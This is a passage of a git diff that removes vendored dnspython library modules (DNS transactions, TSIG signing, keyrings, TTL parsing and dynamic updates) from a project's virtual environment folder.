pragma: no cover - - def writer(self, replacement: bool = False) -> "Transaction": - """Begin a writable transaction. - - *replacement*, a ``bool``. If `True`, the content of the - transaction completely replaces any prior content. If False, - the default, then the content of the transaction updates the - existing content. - """ - raise NotImplementedError # pragma: no cover - - def origin_information( - self, - ) -> Tuple[dns.name.Name | None, bool, dns.name.Name | None]: - """Returns a tuple - - (absolute_origin, relativize, effective_origin) - - giving the absolute name of the default origin for any - relative domain names, the "effective origin", and whether - names should be relativized. The "effective origin" is the - absolute origin if relativize is False, and the empty name if - relativize is true. (The effective origin is provided even - though it can be computed from the absolute_origin and - relativize setting because it avoids a lot of code - duplication.) - - If the returned names are `None`, then no origin information is - available. - - This information is used by code working with transactions to - allow it to coordinate relativization. The transaction code - itself takes what it gets (i.e. does not change name - relativity). - - """ - raise NotImplementedError # pragma: no cover - - def get_class(self) -> dns.rdataclass.RdataClass: - """The class of the transaction manager.""" - raise NotImplementedError # pragma: no cover - - def from_wire_origin(self) -> dns.name.Name | None: - """Origin to use in from_wire() calls.""" - (absolute_origin, relativize, _) = self.origin_information() - if relativize: - return absolute_origin - else: - return None - - -class DeleteNotExact(dns.exception.DNSException): - """Existing data did not match data specified by an exact delete.""" - - -class ReadOnly(dns.exception.DNSException): - """Tried to write to a read-only transaction.""" - - -class AlreadyEnded(dns.exception.DNSException): - """Tried to use an already-ended transaction.""" - - -def _ensure_immutable_rdataset(rdataset): - if rdataset is None or isinstance(rdataset, dns.rdataset.ImmutableRdataset): - return rdataset - return dns.rdataset.ImmutableRdataset(rdataset) - - -def _ensure_immutable_node(node): - if node is None or node.is_immutable(): - return node - return dns.node.ImmutableNode(node) - - -CheckPutRdatasetType = Callable[ - ["Transaction", dns.name.Name, dns.rdataset.Rdataset], None -] -CheckDeleteRdatasetType = Callable[ - ["Transaction", dns.name.Name, dns.rdatatype.RdataType, dns.rdatatype.RdataType], - None, -] -CheckDeleteNameType = Callable[["Transaction", dns.name.Name], None] - - -class Transaction: - def __init__( - self, - manager: TransactionManager, - replacement: bool = False, - read_only: bool = False, - ): - self.manager = manager - self.replacement = replacement - self.read_only = read_only - self._ended = False - self._check_put_rdataset: List[CheckPutRdatasetType] = [] - self._check_delete_rdataset: List[CheckDeleteRdatasetType] = [] - self._check_delete_name: List[CheckDeleteNameType] = [] - - # - # This is the high level API - # - # Note that we currently use non-immutable types in the return type signature to - # avoid covariance problems, e.g. if the caller has a List[Rdataset], mypy will be - # unhappy if we return an ImmutableRdataset. - - def get( - self, - name: dns.name.Name | str | None, - rdtype: dns.rdatatype.RdataType | str, - covers: dns.rdatatype.RdataType | str = dns.rdatatype.NONE, - ) -> dns.rdataset.Rdataset: - """Return the rdataset associated with *name*, *rdtype*, and *covers*, - or `None` if not found. - - Note that the returned rdataset is immutable. - """ - self._check_ended() - if isinstance(name, str): - name = dns.name.from_text(name, None) - rdtype = dns.rdatatype.RdataType.make(rdtype) - covers = dns.rdatatype.RdataType.make(covers) - rdataset = self._get_rdataset(name, rdtype, covers) - return _ensure_immutable_rdataset(rdataset) - - def get_node(self, name: dns.name.Name) -> dns.node.Node | None: - """Return the node at *name*, if any. - - Returns an immutable node or ``None``. - """ - return _ensure_immutable_node(self._get_node(name)) - - def _check_read_only(self) -> None: - if self.read_only: - raise ReadOnly - - def add(self, *args: Any) -> None: - """Add records. - - The arguments may be: - - - rrset - - - name, rdataset... - - - name, ttl, rdata... - """ - self._check_ended() - self._check_read_only() - self._add(False, args) - - def replace(self, *args: Any) -> None: - """Replace the existing rdataset at the name with the specified - rdataset, or add the specified rdataset if there was no existing - rdataset. - - The arguments may be: - - - rrset - - - name, rdataset... - - - name, ttl, rdata... - - Note that if you want to replace the entire node, you should do - a delete of the name followed by one or more calls to add() or - replace(). - """ - self._check_ended() - self._check_read_only() - self._add(True, args) - - def delete(self, *args: Any) -> None: - """Delete records. - - It is not an error if some of the records are not in the existing - set. - - The arguments may be: - - - rrset - - - name - - - name, rdatatype, [covers] - - - name, rdataset... - - - name, rdata... - """ - self._check_ended() - self._check_read_only() - self._delete(False, args) - - def delete_exact(self, *args: Any) -> None: - """Delete records. - - The arguments may be: - - - rrset - - - name - - - name, rdatatype, [covers] - - - name, rdataset... - - - name, rdata... - - Raises dns.transaction.DeleteNotExact if some of the records - are not in the existing set. - - """ - self._check_ended() - self._check_read_only() - self._delete(True, args) - - def name_exists(self, name: dns.name.Name | str) -> bool: - """Does the specified name exist?""" - self._check_ended() - if isinstance(name, str): - name = dns.name.from_text(name, None) - return self._name_exists(name) - - def update_serial( - self, - value: int = 1, - relative: bool = True, - name: dns.name.Name = dns.name.empty, - ) -> None: - """Update the serial number. - - *value*, an `int`, is an increment if *relative* is `True`, or the - actual value to set if *relative* is `False`. - - Raises `KeyError` if there is no SOA rdataset at *name*. - - Raises `ValueError` if *value* is negative or if the increment is - so large that it would cause the new serial to be less than the - prior value. - """ - self._check_ended() - if value < 0: - raise ValueError("negative update_serial() value") - if isinstance(name, str): - name = dns.name.from_text(name, None) - rdataset = self._get_rdataset(name, dns.rdatatype.SOA, dns.rdatatype.NONE) - if rdataset is None or len(rdataset) == 0: - raise KeyError - if relative: - serial = dns.serial.Serial(rdataset[0].serial) + value - else: - serial = dns.serial.Serial(value) - serial = serial.value # convert back to int - if serial == 0: - serial = 1 - rdata = rdataset[0].replace(serial=serial) - new_rdataset = dns.rdataset.from_rdata(rdataset.ttl, rdata) - self.replace(name, new_rdataset) - - def __iter__(self): - self._check_ended() - return self._iterate_rdatasets() - - def changed(self) -> bool: - """Has this transaction changed anything? - - For read-only transactions, the result is always `False`. - - For writable transactions, the result is `True` if at some time - during the life of the transaction, the content was changed. - """ - self._check_ended() - return self._changed() - - def commit(self) -> None: - """Commit the transaction. - - Normally transactions are used as context managers and commit - or rollback automatically, but it may be done explicitly if needed. - A ``dns.transaction.Ended`` exception will be raised if you try - to use a transaction after it has been committed or rolled back. - - Raises an exception if the commit fails (in which case the transaction - is also rolled back. - """ - self._end(True) - - def rollback(self) -> None: - """Rollback the transaction. - - Normally transactions are used as context managers and commit - or rollback automatically, but it may be done explicitly if needed. - A ``dns.transaction.AlreadyEnded`` exception will be raised if you try - to use a transaction after it has been committed or rolled back. - - Rollback cannot otherwise fail. - """ - self._end(False) - - def check_put_rdataset(self, check: CheckPutRdatasetType) -> None: - """Call *check* before putting (storing) an rdataset. - - The function is called with the transaction, the name, and the rdataset. - - The check function may safely make non-mutating transaction method - calls, but behavior is undefined if mutating transaction methods are - called. The check function should raise an exception if it objects to - the put, and otherwise should return ``None``. - """ - self._check_put_rdataset.append(check) - - def check_delete_rdataset(self, check: CheckDeleteRdatasetType) -> None: - """Call *check* before deleting an rdataset. - - The function is called with the transaction, the name, the rdatatype, - and the covered rdatatype. - - The check function may safely make non-mutating transaction method - calls, but behavior is undefined if mutating transaction methods are - called. The check function should raise an exception if it objects to - the put, and otherwise should return ``None``. - """ - self._check_delete_rdataset.append(check) - - def check_delete_name(self, check: CheckDeleteNameType) -> None: - """Call *check* before putting (storing) an rdataset. - - The function is called with the transaction and the name. - - The check function may safely make non-mutating transaction method - calls, but behavior is undefined if mutating transaction methods are - called. The check function should raise an exception if it objects to - the put, and otherwise should return ``None``. - """ - self._check_delete_name.append(check) - - def iterate_rdatasets( - self, - ) -> Iterator[Tuple[dns.name.Name, dns.rdataset.Rdataset]]: - """Iterate all the rdatasets in the transaction, returning - (`dns.name.Name`, `dns.rdataset.Rdataset`) tuples. - - Note that as is usual with python iterators, adding or removing items - while iterating will invalidate the iterator and may raise `RuntimeError` - or fail to iterate over all entries.""" - self._check_ended() - return self._iterate_rdatasets() - - def iterate_names(self) -> Iterator[dns.name.Name]: - """Iterate all the names in the transaction. - - Note that as is usual with python iterators, adding or removing names - while iterating will invalidate the iterator and may raise `RuntimeError` - or fail to iterate over all entries.""" - self._check_ended() - return self._iterate_names() - - # - # Helper methods - # - - def _raise_if_not_empty(self, method, args): - if len(args) != 0: - raise TypeError(f"extra parameters to {method}") - - def _rdataset_from_args(self, method, deleting, args): - try: - arg = args.popleft() - if isinstance(arg, dns.rrset.RRset): - rdataset = arg.to_rdataset() - elif isinstance(arg, dns.rdataset.Rdataset): - rdataset = arg - else: - if deleting: - ttl = 0 - else: - if isinstance(arg, int): - ttl = arg - if ttl > dns.ttl.MAX_TTL: - raise ValueError(f"{method}: TTL value too big") - else: - raise TypeError(f"{method}: expected a TTL") - arg = args.popleft() - if isinstance(arg, dns.rdata.Rdata): - rdataset = dns.rdataset.from_rdata(ttl, arg) - else: - raise TypeError(f"{method}: expected an Rdata") - return rdataset - except IndexError: - if deleting: - return None - else: - # reraise - raise TypeError(f"{method}: expected more arguments") - - def _add(self, replace, args): - if replace: - method = "replace()" - else: - method = "add()" - try: - args = collections.deque(args) - arg = args.popleft() - if isinstance(arg, str): - arg = dns.name.from_text(arg, None) - if isinstance(arg, dns.name.Name): - name = arg - rdataset = self._rdataset_from_args(method, False, args) - elif isinstance(arg, dns.rrset.RRset): - rrset = arg - name = rrset.name - # rrsets are also rdatasets, but they don't print the - # same and can't be stored in nodes, so convert. - rdataset = rrset.to_rdataset() - else: - raise TypeError( - f"{method} requires a name or RRset as the first argument" - ) - assert rdataset is not None # for type checkers - if rdataset.rdclass != self.manager.get_class(): - raise ValueError(f"{method} has objects of wrong RdataClass") - if rdataset.rdtype == dns.rdatatype.SOA: - (_, _, origin) = self._origin_information() - if name != origin: - raise ValueError(f"{method} has non-origin SOA") - self._raise_if_not_empty(method, args) - if not replace: - existing = self._get_rdataset(name, rdataset.rdtype, rdataset.covers) - if existing is not None: - if isinstance(existing, dns.rdataset.ImmutableRdataset): - trds = dns.rdataset.Rdataset( - existing.rdclass, existing.rdtype, existing.covers - ) - trds.update(existing) - existing = trds - rdataset = existing.union(rdataset) - self._checked_put_rdataset(name, rdataset) - except IndexError: - raise TypeError(f"not enough parameters to {method}") - - def _delete(self, exact, args): - if exact: - method = "delete_exact()" - else: - method = "delete()" - try: - args = collections.deque(args) - arg = args.popleft() - if isinstance(arg, str): - arg = dns.name.from_text(arg, None) - if isinstance(arg, dns.name.Name): - name = arg - if len(args) > 0 and ( - isinstance(args[0], int) or isinstance(args[0], str) - ): - # deleting by type and (optionally) covers - rdtype = dns.rdatatype.RdataType.make(args.popleft()) - if len(args) > 0: - covers = dns.rdatatype.RdataType.make(args.popleft()) - else: - covers = dns.rdatatype.NONE - self._raise_if_not_empty(method, args) - existing = self._get_rdataset(name, rdtype, covers) - if existing is None: - if exact: - raise DeleteNotExact(f"{method}: missing rdataset") - else: - self._checked_delete_rdataset(name, rdtype, covers) - return - else: - rdataset = self._rdataset_from_args(method, True, args) - elif isinstance(arg, dns.rrset.RRset): - rdataset = arg # rrsets are also rdatasets - name = rdataset.name - else: - raise TypeError( - f"{method} requires a name or RRset as the first argument" - ) - self._raise_if_not_empty(method, args) - if rdataset: - if rdataset.rdclass != self.manager.get_class(): - raise ValueError(f"{method} has objects of wrong RdataClass") - existing = self._get_rdataset(name, rdataset.rdtype, rdataset.covers) - if existing is not None: - if exact: - intersection = existing.intersection(rdataset) - if intersection != rdataset: - raise DeleteNotExact(f"{method}: missing rdatas") - rdataset = existing.difference(rdataset) - if len(rdataset) == 0: - self._checked_delete_rdataset( - name, rdataset.rdtype, rdataset.covers - ) - else: - self._checked_put_rdataset(name, rdataset) - elif exact: - raise DeleteNotExact(f"{method}: missing rdataset") - else: - if exact and not self._name_exists(name): - raise DeleteNotExact(f"{method}: name not known") - self._checked_delete_name(name) - except IndexError: - raise TypeError(f"not enough parameters to {method}") - - def _check_ended(self): - if self._ended: - raise AlreadyEnded - - def _end(self, commit): - self._check_ended() - try: - self._end_transaction(commit) - finally: - self._ended = True - - def _checked_put_rdataset(self, name, rdataset): - for check in self._check_put_rdataset: - check(self, name, rdataset) - self._put_rdataset(name, rdataset) - - def _checked_delete_rdataset(self, name, rdtype, covers): - for check in self._check_delete_rdataset: - check(self, name, rdtype, covers) - self._delete_rdataset(name, rdtype, covers) - - def _checked_delete_name(self, name): - for check in self._check_delete_name: - check(self, name) - self._delete_name(name) - - # - # Transactions are context managers. - # - - def __enter__(self): - return self - - def __exit__(self, exc_type, exc_val, exc_tb): - if not self._ended: - if exc_type is None: - self.commit() - else: - self.rollback() - return False - - # - # This is the low level API, which must be implemented by subclasses - # of Transaction. - # - - def _get_rdataset(self, name, rdtype, covers): - """Return the rdataset associated with *name*, *rdtype*, and *covers*, - or `None` if not found. - """ - raise NotImplementedError # pragma: no cover - - def _put_rdataset(self, name, rdataset): - """Store the rdataset.""" - raise NotImplementedError # pragma: no cover - - def _delete_name(self, name): - """Delete all data associated with *name*. - - It is not an error if the name does not exist. - """ - raise NotImplementedError # pragma: no cover - - def _delete_rdataset(self, name, rdtype, covers): - """Delete all data associated with *name*, *rdtype*, and *covers*. - - It is not an error if the rdataset does not exist. - """ - raise NotImplementedError # pragma: no cover - - def _name_exists(self, name): - """Does name exist? - - Returns a bool. - """ - raise NotImplementedError # pragma: no cover - - def _changed(self): - """Has this transaction changed anything?""" - raise NotImplementedError # pragma: no cover - - def _end_transaction(self, commit): - """End the transaction. - - *commit*, a bool. If ``True``, commit the transaction, otherwise - roll it back. - - If committing and the commit fails, then roll back and raise an - exception. - """ - raise NotImplementedError # pragma: no cover - - def _set_origin(self, origin): - """Set the origin. - - This method is called when reading a possibly relativized - source, and an origin setting operation occurs (e.g. $ORIGIN - in a zone file). - """ - raise NotImplementedError # pragma: no cover - - def _iterate_rdatasets(self): - """Return an iterator that yields (name, rdataset) tuples.""" - raise NotImplementedError # pragma: no cover - - def _iterate_names(self): - """Return an iterator that yields a name.""" - raise NotImplementedError # pragma: no cover - - def _get_node(self, name): - """Return the node at *name*, if any. - - Returns a node or ``None``. - """ - raise NotImplementedError # pragma: no cover - - # - # Low-level API with a default implementation, in case a subclass needs - # to override. - # - - def _origin_information(self): - # This is only used by _add() - return self.manager.origin_information() diff --git a/venv/Lib/site-packages/dns/tsig.py b/venv/Lib/site-packages/dns/tsig.py deleted file mode 100644 index 333f9aa47540961103faaa8ecb28e95b4394bd29..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dns/tsig.py +++ /dev/null @@ -1,359 +0,0 @@ -# Copyright (C) Dnspython Contributors, see LICENSE for text of ISC license - -# Copyright (C) 2001-2007, 2009-2011 Nominum, Inc. -# -# Permission to use, copy, modify, and distribute this software and its -# documentation for any purpose with or without fee is hereby granted, -# provided that the above copyright notice and this permission notice -# appear in all copies. -# -# THE SOFTWARE IS PROVIDED "AS IS" AND NOMINUM DISCLAIMS ALL WARRANTIES -# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF -# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL NOMINUM BE LIABLE FOR -# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES -# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN -# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT -# OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. - -"""DNS TSIG support.""" - -import base64 -import hashlib -import hmac -import struct - -import dns.exception -import dns.name -import dns.rcode -import dns.rdataclass -import dns.rdatatype - - -class BadTime(dns.exception.DNSException): - """The current time is not within the TSIG's validity time.""" - - -class BadSignature(dns.exception.DNSException): - """The TSIG signature fails to verify.""" - - -class BadKey(dns.exception.DNSException): - """The TSIG record owner name does not match the key.""" - - -class BadAlgorithm(dns.exception.DNSException): - """The TSIG algorithm does not match the key.""" - - -class PeerError(dns.exception.DNSException): - """Base class for all TSIG errors generated by the remote peer""" - - -class PeerBadKey(PeerError): - """The peer didn't know the key we used""" - - -class PeerBadSignature(PeerError): - """The peer didn't like the signature we sent""" - - -class PeerBadTime(PeerError): - """The peer didn't like the time we sent""" - - -class PeerBadTruncation(PeerError): - """The peer didn't like amount of truncation in the TSIG we sent""" - - -# TSIG Algorithms - -HMAC_MD5 = dns.name.from_text("HMAC-MD5.SIG-ALG.REG.INT") -HMAC_SHA1 = dns.name.from_text("hmac-sha1") -HMAC_SHA224 = dns.name.from_text("hmac-sha224") -HMAC_SHA256 = dns.name.from_text("hmac-sha256") -HMAC_SHA256_128 = dns.name.from_text("hmac-sha256-128") -HMAC_SHA384 = dns.name.from_text("hmac-sha384") -HMAC_SHA384_192 = dns.name.from_text("hmac-sha384-192") -HMAC_SHA512 = dns.name.from_text("hmac-sha512") -HMAC_SHA512_256 = dns.name.from_text("hmac-sha512-256") -GSS_TSIG = dns.name.from_text("gss-tsig") - -default_algorithm = HMAC_SHA256 - -mac_sizes = { - HMAC_SHA1: 20, - HMAC_SHA224: 28, - HMAC_SHA256: 32, - HMAC_SHA256_128: 16, - HMAC_SHA384: 48, - HMAC_SHA384_192: 24, - HMAC_SHA512: 64, - HMAC_SHA512_256: 32, - HMAC_MD5: 16, - GSS_TSIG: 128, # This is what we assume to be the worst case! -} - - -class GSSTSig: - """ - GSS-TSIG TSIG implementation. This uses the GSS-API context established - in the TKEY message handshake to sign messages using GSS-API message - integrity codes, per the RFC. - - In order to avoid a direct GSSAPI dependency, the keyring holds a ref - to the GSSAPI object required, rather than the key itself. - """ - - def __init__(self, gssapi_context): - self.gssapi_context = gssapi_context - self.data = b"" - self.name = "gss-tsig" - - def update(self, data): - self.data += data - - def sign(self): - # defer to the GSSAPI function to sign - return self.gssapi_context.get_signature(self.data) - - def verify(self, expected): - try: - # defer to the GSSAPI function to verify - return self.gssapi_context.verify_signature(self.data, expected) - except Exception: - # note the usage of a bare exception - raise BadSignature - - -class GSSTSigAdapter: - def __init__(self, keyring): - self.keyring = keyring - - def __call__(self, message, keyname): - if keyname in self.keyring: - key = self.keyring[keyname] - if isinstance(key, Key) and key.algorithm == GSS_TSIG: - if message: - GSSTSigAdapter.parse_tkey_and_step(key, message, keyname) - return key - else: - return None - - @classmethod - def parse_tkey_and_step(cls, key, message, keyname): - # if the message is a TKEY type, absorb the key material - # into the context using step(); this is used to allow the - # client to complete the GSSAPI negotiation before attempting - # to verify the signed response to a TKEY message exchange - try: - rrset = message.find_rrset( - message.answer, keyname, dns.rdataclass.ANY, dns.rdatatype.TKEY - ) - if rrset: - token = rrset[0].key - gssapi_context = key.secret - return gssapi_context.step(token) - except KeyError: - pass - - -class HMACTSig: - """ - HMAC TSIG implementation. This uses the HMAC python module to handle the - sign/verify operations. - """ - - _hashes = { - HMAC_SHA1: hashlib.sha1, - HMAC_SHA224: hashlib.sha224, - HMAC_SHA256: hashlib.sha256, - HMAC_SHA256_128: (hashlib.sha256, 128), - HMAC_SHA384: hashlib.sha384, - HMAC_SHA384_192: (hashlib.sha384, 192), - HMAC_SHA512: hashlib.sha512, - HMAC_SHA512_256: (hashlib.sha512, 256), - HMAC_MD5: hashlib.md5, - } - - def __init__(self, key, algorithm): - try: - hashinfo = self._hashes[algorithm] - except KeyError: - raise NotImplementedError(f"TSIG algorithm {algorithm} is not supported") - - # create the HMAC context - if isinstance(hashinfo, tuple): - self.hmac_context = hmac.new(key, digestmod=hashinfo[0]) - self.size = hashinfo[1] - else: - self.hmac_context = hmac.new(key, digestmod=hashinfo) - self.size = None - self.name = self.hmac_context.name - if self.size: - self.name += f"-{self.size}" - - def update(self, data): - return self.hmac_context.update(data) - - def sign(self): - # defer to the HMAC digest() function for that digestmod - digest = self.hmac_context.digest() - if self.size: - digest = digest[: (self.size // 8)] - return digest - - def verify(self, expected): - # re-digest and compare the results - mac = self.sign() - if not hmac.compare_digest(mac, expected): - raise BadSignature - - -def _digest(wire, key, rdata, time=None, request_mac=None, ctx=None, multi=None): - """Return a context containing the TSIG rdata for the input parameters - @rtype: dns.tsig.HMACTSig or dns.tsig.GSSTSig object - @raises ValueError: I{other_data} is too long - @raises NotImplementedError: I{algorithm} is not supported - """ - - first = not (ctx and multi) - if first: - ctx = get_context(key) - if request_mac: - ctx.update(struct.pack("!H", len(request_mac))) - ctx.update(request_mac) - assert ctx is not None # for type checkers - ctx.update(struct.pack("!H", rdata.original_id)) - ctx.update(wire[2:]) - if first: - ctx.update(key.name.to_digestable()) - ctx.update(struct.pack("!H", dns.rdataclass.ANY)) - ctx.update(struct.pack("!I", 0)) - if time is None: - time = rdata.time_signed - upper_time = (time >> 32) & 0xFFFF - lower_time = time & 0xFFFFFFFF - time_encoded = struct.pack("!HIH", upper_time, lower_time, rdata.fudge) - other_len = len(rdata.other) - if other_len > 65535: - raise ValueError("TSIG Other Data is > 65535 bytes") - if first: - ctx.update(key.algorithm.to_digestable() + time_encoded) - ctx.update(struct.pack("!HH", rdata.error, other_len) + rdata.other) - else: - ctx.update(time_encoded) - return ctx - - -def _maybe_start_digest(key, mac, multi): - """If this is the first message in a multi-message sequence, - start a new context. - @rtype: dns.tsig.HMACTSig or dns.tsig.GSSTSig object - """ - if multi: - ctx = get_context(key) - ctx.update(struct.pack("!H", len(mac))) - ctx.update(mac) - return ctx - else: - return None - - -def sign(wire, key, rdata, time=None, request_mac=None, ctx=None, multi=False): - """Return a (tsig_rdata, mac, ctx) tuple containing the HMAC TSIG rdata - for the input parameters, the HMAC MAC calculated by applying the - TSIG signature algorithm, and the TSIG digest context. - @rtype: (string, dns.tsig.HMACTSig or dns.tsig.GSSTSig object) - @raises ValueError: I{other_data} is too long - @raises NotImplementedError: I{algorithm} is not supported - """ - - ctx = _digest(wire, key, rdata, time, request_mac, ctx, multi) - mac = ctx.sign() - tsig = rdata.replace(time_signed=time, mac=mac) - - return (tsig, _maybe_start_digest(key, mac, multi)) - - -def validate( - wire, key, owner, rdata, now, request_mac, tsig_start, ctx=None, multi=False -): - """Validate the specified TSIG rdata against the other input parameters. - - @raises FormError: The TSIG is badly formed. - @raises BadTime: There is too much time skew between the client and the - server. - @raises BadSignature: The TSIG signature did not validate - @rtype: dns.tsig.HMACTSig or dns.tsig.GSSTSig object""" - - (adcount,) = struct.unpack("!H", wire[10:12]) - if adcount == 0: - raise dns.exception.FormError - adcount -= 1 - new_wire = wire[0:10] + struct.pack("!H", adcount) + wire[12:tsig_start] - if rdata.error != 0: - if rdata.error == dns.rcode.BADSIG: - raise PeerBadSignature - elif rdata.error == dns.rcode.BADKEY: - raise PeerBadKey - elif rdata.error == dns.rcode.BADTIME: - raise PeerBadTime - elif rdata.error == dns.rcode.BADTRUNC: - raise PeerBadTruncation - else: - raise PeerError(f"unknown TSIG error code {rdata.error}") - if abs(rdata.time_signed - now) > rdata.fudge: - raise BadTime - if key.name != owner: - raise BadKey - if key.algorithm != rdata.algorithm: - raise BadAlgorithm - ctx = _digest(new_wire, key, rdata, None, request_mac, ctx, multi) - ctx.verify(rdata.mac) - return _maybe_start_digest(key, rdata.mac, multi) - - -def get_context(key): - """Returns an HMAC context for the specified key. - - @rtype: HMAC context - @raises NotImplementedError: I{algorithm} is not supported - """ - - if key.algorithm == GSS_TSIG: - return GSSTSig(key.secret) - else: - return HMACTSig(key.secret, key.algorithm) - - -class Key: - def __init__( - self, - name: dns.name.Name | str, - secret: bytes | str, - algorithm: dns.name.Name | str = default_algorithm, - ): - if isinstance(name, str): - name = dns.name.from_text(name) - self.name = name - if isinstance(secret, str): - secret = base64.decodebytes(secret.encode()) - self.secret = secret - if isinstance(algorithm, str): - algorithm = dns.name.from_text(algorithm) - self.algorithm = algorithm - - def __eq__(self, other): - return ( - isinstance(other, Key) - and self.name == other.name - and self.secret == other.secret - and self.algorithm == other.algorithm - ) - - def __repr__(self): - r = f" Dict[dns.name.Name, Any]: - """Convert a dictionary containing (textual DNS name, base64 secret) - pairs into a binary keyring which has (dns.name.Name, bytes) pairs, or - a dictionary containing (textual DNS name, (algorithm, base64 secret)) - pairs into a binary keyring which has (dns.name.Name, dns.tsig.Key) pairs. - @rtype: dict""" - - keyring: Dict[dns.name.Name, Any] = {} - for name, value in textring.items(): - kname = dns.name.from_text(name) - if isinstance(value, str): - keyring[kname] = dns.tsig.Key(kname, value).secret - else: - (algorithm, secret) = value - keyring[kname] = dns.tsig.Key(kname, secret, algorithm) - return keyring - - -def to_text(keyring: Dict[dns.name.Name, Any]) -> Dict[str, Any]: - """Convert a dictionary containing (dns.name.Name, dns.tsig.Key) pairs - into a text keyring which has (textual DNS name, (textual algorithm, - base64 secret)) pairs, or a dictionary containing (dns.name.Name, bytes) - pairs into a text keyring which has (textual DNS name, base64 secret) pairs. - @rtype: dict""" - - textring = {} - - def b64encode(secret): - return base64.encodebytes(secret).decode().rstrip() - - for name, key in keyring.items(): - tname = name.to_text() - if isinstance(key, bytes): - textring[tname] = b64encode(key) - else: - if isinstance(key.secret, bytes): - text_secret = b64encode(key.secret) - else: - text_secret = str(key.secret) - - textring[tname] = (key.algorithm.to_text(), text_secret) - return textring diff --git a/venv/Lib/site-packages/dns/ttl.py b/venv/Lib/site-packages/dns/ttl.py deleted file mode 100644 index 16289cd053431f61878a04f8f57ab9221c4a7f64..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dns/ttl.py +++ /dev/null @@ -1,90 +0,0 @@ -# Copyright (C) Dnspython Contributors, see LICENSE for text of ISC license - -# Copyright (C) 2003-2017 Nominum, Inc. -# -# Permission to use, copy, modify, and distribute this software and its -# documentation for any purpose with or without fee is hereby granted, -# provided that the above copyright notice and this permission notice -# appear in all copies. -# -# THE SOFTWARE IS PROVIDED "AS IS" AND NOMINUM DISCLAIMS ALL WARRANTIES -# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF -# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL NOMINUM BE LIABLE FOR -# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES -# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN -# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT -# OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. - -"""DNS TTL conversion.""" - -import dns.exception - -# Technically TTLs are supposed to be between 0 and 2**31 - 1, with values -# greater than that interpreted as 0, but we do not impose this policy here -# as values > 2**31 - 1 occur in real world data. -# -# We leave it to applications to impose tighter bounds if desired. -MAX_TTL = 2**32 - 1 - - -class BadTTL(dns.exception.SyntaxError): - """DNS TTL value is not well-formed.""" - - -def from_text(text: str) -> int: - """Convert the text form of a TTL to an integer. - - The BIND 8 units syntax for TTLs (e.g. '1w6d4h3m10s') is supported. - - *text*, a ``str``, the textual TTL. - - Raises ``dns.ttl.BadTTL`` if the TTL is not well-formed. - - Returns an ``int``. - """ - - if text.isdigit(): - total = int(text) - elif len(text) == 0: - raise BadTTL - else: - total = 0 - current = 0 - need_digit = True - for c in text: - if c.isdigit(): - current *= 10 - current += int(c) - need_digit = False - else: - if need_digit: - raise BadTTL - c = c.lower() - if c == "w": - total += current * 604800 - elif c == "d": - total += current * 86400 - elif c == "h": - total += current * 3600 - elif c == "m": - total += current * 60 - elif c == "s": - total += current - else: - raise BadTTL(f"unknown unit '{c}'") - current = 0 - need_digit = True - if not current == 0: - raise BadTTL("trailing integer") - if total < 0 or total > MAX_TTL: - raise BadTTL("TTL should be between 0 and 2**32 - 1 (inclusive)") - return total - - -def make(value: int | str) -> int: - if isinstance(value, int): - return value - elif isinstance(value, str): - return from_text(value) - else: - raise ValueError("cannot convert value to TTL") diff --git a/venv/Lib/site-packages/dns/update.py b/venv/Lib/site-packages/dns/update.py deleted file mode 100644 index 0e4aee411daca400e9332c94d85a4ddde60f9585..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dns/update.py +++ /dev/null @@ -1,389 +0,0 @@ -# Copyright (C) Dnspython Contributors, see LICENSE for text of ISC license - -# Copyright (C) 2003-2007, 2009-2011 Nominum, Inc. -# -# Permission to use, copy, modify, and distribute this software and its -# documentation for any purpose with or without fee is hereby granted, -# provided that the above copyright notice and this permission notice -# appear in all copies. -# -# THE SOFTWARE IS PROVIDED "AS IS" AND NOMINUM DISCLAIMS ALL WARRANTIES -# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF -# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL NOMINUM BE LIABLE FOR -# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES -# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN -# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT -# OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. - -"""DNS Dynamic Update Support""" - -from typing import Any, List - -import dns.enum -import dns.exception -import dns.message -import dns.name -import dns.opcode -import dns.rdata -import dns.rdataclass -import dns.rdataset -import dns.rdatatype -import dns.rrset -import dns.tsig - - -class UpdateSection(dns.enum.IntEnum): - """Update sections""" - - ZONE = 0 - PREREQ = 1 - UPDATE = 2 - ADDITIONAL = 3 - - @classmethod - def _maximum(cls): - return 3 - - -class UpdateMessage(dns.message.Message): # lgtm[py/missing-equals] - # ignore the mypy error here as we mean to use a different enum - _section_enum = UpdateSection # type: ignore - - def __init__( - self, - zone: dns.name.Name | str | None = None, - rdclass: dns.rdataclass.RdataClass = dns.rdataclass.IN, - keyring: Any | None = None, - keyname: dns.name.Name | None = None, - keyalgorithm: dns.name.Name | str = dns.tsig.default_algorithm, - id: int | None = None, - ): - """Initialize a new DNS Update object. - - See the documentation of the Message class for a complete - description of the keyring dictionary. - - *zone*, a ``dns.name.Name``, ``str``, or ``None``, the zone - which is being updated. ``None`` should only be used by dnspython's - message constructors, 